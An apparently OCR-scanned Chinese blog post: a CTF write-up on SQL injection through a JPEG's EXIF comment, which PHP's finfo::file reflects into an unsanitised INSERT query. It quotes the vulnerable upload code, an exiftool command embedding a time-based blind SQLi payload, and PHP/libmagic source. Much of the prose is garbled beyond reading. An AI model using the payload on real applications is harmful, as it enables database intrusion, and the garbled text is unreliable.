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AR ZELE = o F 2022-02-09 18:00:00 K #i o 3353 ﬁ W 16
NERE: (EE%4 java php HIEE mysql
FRALA B : ASCHEEEAICE, %15 CC 4.0 BY-SA BTN, 85 FJESCH A Ao,

A B httpsy/blog.csdn.net/qq 38154820/article/details/122852743
RRAR
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BRIEEETSQLIEN, FEA —MrickBEE BB, XAMrick 3 ZH H JG i P28 Sk exif(s B 1 A\ B0 B
1TSQLIEAN

R AR CZESNE MBS, BEES, REARXNAEANTF, WEFYR, B28H.
4 R exif?
NT HEREE L ENHIXAMrick, HEABINFE T BH 4 Zexif?

HlexifRAI ZHE G HAES, RETTAERANKRA RER, 7TLLEREIE R A IR %S B MR
.

B a0 A 3 R B FAUEPLECE SOg AL IR %, exif i R IRE i — L@, Bln. LB, £, HRB
6], MEBEEEFRE

R H f# 8
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BHRITAEHE, iS5 AXLRNEESERAER T, MENHSFE-THRE: HEXA
Blrobots.txt, HEANBEEBNE, BEGEREBZEENEE.
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FILE LIST

filename:355157807105f4cad15fe251ae7313ee.zip filetype:PHP script, ASCII text, with CRLF line terminators
filename:6754da756de32b6254085f5badad40cfe.zip filetype:PHP script, ASCII text
filename:215¢ce367298e24635212d6c3ad8108f6.zip filetype:JPEG image data, JFIF standard 1.01, aspect ratio,
filename:f02 2 27 2ci 7d84 70.zip filetype:Zip archive data, at least v2.0 to extract

R A RN imdS E fr 44, JFH, FTUASCHFBAREAR, BRI —T LTSI E R, BhE
ERH BIWEFEHRIMHER (EEFRtiletype) , FMLE#E—TPHPAE B R EBEE BT XM
Thee, BHPHPE A FMETUAIR, HPfinfoRUKtinfo fileREUREXANINRENK

_L_ TinTo_tne JU

finfo::__construct - o

finfo::buffer fl nfO . flle

finfox:set_flags ORI .. - A e e e e e e e
finfo::file

finfo_close (PHP >= 5.3.0, PECL fileinfo >= 0.1.0)

ref fileinfo finfo | file -- finfo ::file — REI—XEHER

finfo

finfo_set_flags
Cinorie — ) WREXE

finfo_buffer

finfo_open

mime_content_type JUE Ak

fileinfo.resources

maxdb_field_seek

maxdb_fetch_field_direct string finfo file ( resource $ finfo , string $file_name = NULL

mysqli_result::field_seek [, int $options = FILEINFO_NONE [, resource $context = NULL 1] )

maxdb_fetch_field

maxdb_field_tell

reflection.examples [EEES kS

mysqli_result::$current_field

mysqli_result::fetch_field_di...

mysqli_result::fetch_field public string finfo::file ( string $file_name = NULL [, int

refs fileprocess file $options = FILEINFO_NONE [, resource $context = NULL 1] )
maxdb_fetch_fields

book filesystem

mysqli_result::fetch_fields AR I BRIRE— 1 ERER.,

FUEH AT URREFE ML i let ype RAFAESQLEN, FHHSQLIEAM Z R insert FFLKFAIER

M2 EHIIE AN filetypelB?

BATAT LAE Hfiledr & BH — AN XXMHFHIE R, WTEFR

- W ~/CTF-tools/webshell JRpACIEPRe 4

1.txt: PHP script text, ASCII text
EX—NMrS—HERARARUA LHEBNTHEKIfiletype T2 HBITHE?
MAREH TR LAERIZXANfiletypelB? A, MHifkexiftool

ZRTEE, BMNZRE—NE A EMASQLER, XERINEREEEKWSQLEA T (XMREELK, A
NXERMERELRT, BB RER T E8Euz)

insert into columns('ZFE1', 'FE2', 'FE3') value('fd1', 'fH2', '{E3')



R E TR 6

123"";select if(1,sleep(5),sleep(5));--+

E & #exiftool 14 A

exiftool -overwrite_original -comment="123\"');select if(1,sleep(5),sleep(5));--+" avatar.jpg

F FH exiftoolids incomment 2 J5, 1# Afilefs & & F XHE R

~/CTF-tools/webshell _BeNCEEVEIE1gM]]]
avatar.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segm
ent length 16, baseline, precision 8, 2x2, components 3
® exiftool —overwrite_original -comment="123\""');sele
ct if(1,sleep(5),sleep(5));——+" avatar.jpg

1 image files updated
@ file avatar.jpg
avatar.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segm
ent length 16, comment: "123"');select if(1,sleep(5),sleep(5));—+", baseline, p
recision 8, 2x2, components 3

UEE, L CL&mINEANET commentd, E~EZER, MUK EEER, BrilarSEANRIDY.
ZiEEflagtBE R T, FHinto outfileBAN—AIEAGEIN, XEMAKRT .
Mz, ARRHARHFEXHERSQLIEANE?

WERFHOSHE B AP DR R#AT 208 (FrA AT Bhgetshell /8 B #R8 7T AR B & F R#EAT 7204, AT LA
FRELZRETE)

& H JEARS 7 bt
HA—REZCARTIET, EREREEN, SEMSQUENKIILTH OvTHLmELK, RXEN
R RILHATRT)

$filename = md5(md5(rand(1,10000))).".zip";

$filetype = (new finfo)->file($_FILES['file']['tmp_name']);

$filepath = "upload/".$filename;

$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath.""','".$filetype."

BT RASEE — AT AR AT LR, R BE L Bimd 57 A ST
BOATXEMHEIT finfo::file, XEMRRITMENA
BEATR B FRRPHE

AT LR FESQLIE AN FISQLIE )



if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "<1i>";
echo "filename:<a href="".$row["filepath"]."'>".$row["filename"]."</a> filetype:".$row["filetype"]."<br>

}

echo "</1i>";

}
R—BACHE B LR I, BRI SO 44 51 R
A2 AN B TR A B LR X — AT AR«

$filetype = (new finfo)->file($_FILES['file']['tmp_name']);

REMMfinfo: : filedjik, EANTEEPHPFMARWT, HEFARBHA, FFBIESX IR
BEAT B ARBD BR B 434

v funcref L finfo_file | ©

> refs.basic.php flnfO flle

» refs.utilspec.audio
> refs.remote.auth
> refs.utilspec.cmdline (PHP >= 5.3.0, PECL fileinfo >= 0.1.0)

> refs.compression finfo_file -- finfo::file — IREI—N SRS B

> refs.creditcard
> refs.crypto
> refs.database iﬁ.ﬂﬂ
> refs.calendar
v refs.fileprocess file
> Direct 10 SR KR
> Bx
~ Fileinfo
intro.fileinfo
> fileinfo.setup
fileinfo.constants

string finfo_file ( resource $finfo , string $file_name =
NULL [, int $options = FILEINFO_NONE [, resource $context =

v ref fileinfo NULL 11 )
finfo_buffer
finfO_C|OSE
finfo_file H [T SR KA
finfo_open
finfo_set_flags
mime_content_type public string finfo::file ( string $file_name =NULL [, int
> finfo $options = FILEINFO_NONE [, resource $context = NULL ]] )
> book. filesystem
> Inotify
> Mimetype AR EARRN— N XEHER.
finfo::file)i |2 R i3

finfo::fileljiEfFext/fileinfo/fileinfo.cH

Hopfinfo T HRXRAJIATT:



class finfo

{

/** @alias finfo_open */

public function _ construct(int $flags = FILEINFO_NONE, ?string $magic_database = null) {}

/**
* @param resource|null $context
* @return string|false
* @alias finfo_file
*/
public function file(string $filename, int $flags

FILEINFO_NONE, $context

null) {}

/**
* @param resource|null $context
* @return string|false
* @alias finfo_buffer
*/
public function buffer(string $string, int $flags

FILEINFO_NONE, $context = null) {}

/**
* @return bool
* @alias finfo_set_flags
*/
public function set_flags(int $flags) {}

AR finfo: 1 file
BAVE T T EHALE T =AW
stream = php_stream_open_wrapj ex(buffer, "rb",

if (!stream) {

m_stat(stream, &ssb) == SUCCESS) {

if (ssb.sb.st_mode & S_IFDIR)
ret_val = mime_directory;
} else {
ret_val = (char x)magic_|stream(magic, stream);

close(stream);
Y6 B TED R E BT SR BOUE ST TRAE — AN SO SR AT TR
BT

¥ upload.phpf&stin T

L, context);




$filename = md5(md5(rand(1,10000))).".zip";

$filetype (new finfo)->file($_FILES['file"]['tmp_name']);
$filepath = "upload/".$filename;

var_dump($filetype);

die(9);

THE R, EAREANF R E S F LR B kA
B AMWTRAL, 42147, XA AL T B AR IT T B UR IR BN R

(buffer, "rb"

f (!stream) {

goto clean;

) (stream, &ssh
if (ssb.sbh.st_mode & S T
ret_val = mime_directory;

} else {

FoAW R, 431-43217, #Amagic stream, BBWHIK, WMmsblKret val

BEAfile or stream

magic_stream( magic_set xms, php_stream xstream)
{
if (ms ==
return F
return file_or_stream(ms, , stream);

H#¥Ffile or streamfreturn
ext > fileinfo > libmagic > magic.c > O file_or_stream(magic_set * const char * php_stream *)

done:
(buf);

if (no_in_stream && stream) {
(stream);
}

out:

return rv == @ ? file_getbuffer(ms)

BRBtfile getbuffer, THHEMALUEEIns->0.but CAKME| T exifl5 B



file_getbuffer(
{
*pbuf, *op, #np;
size_t psize, len;

if (ms—>event_flags &

return

if (ms->flags &
return ms->o0.buf;

if (ms—0.buf ==
return

JEHRIBAGERE T, HEMTUEENRZLile () HETUENEFHNEXFEE, FBE/ENEE
BIfiletypete NEUHEE & BRIEAN

$filetype = (new finfo)->file($ _FILES['file']['tmp_name']);
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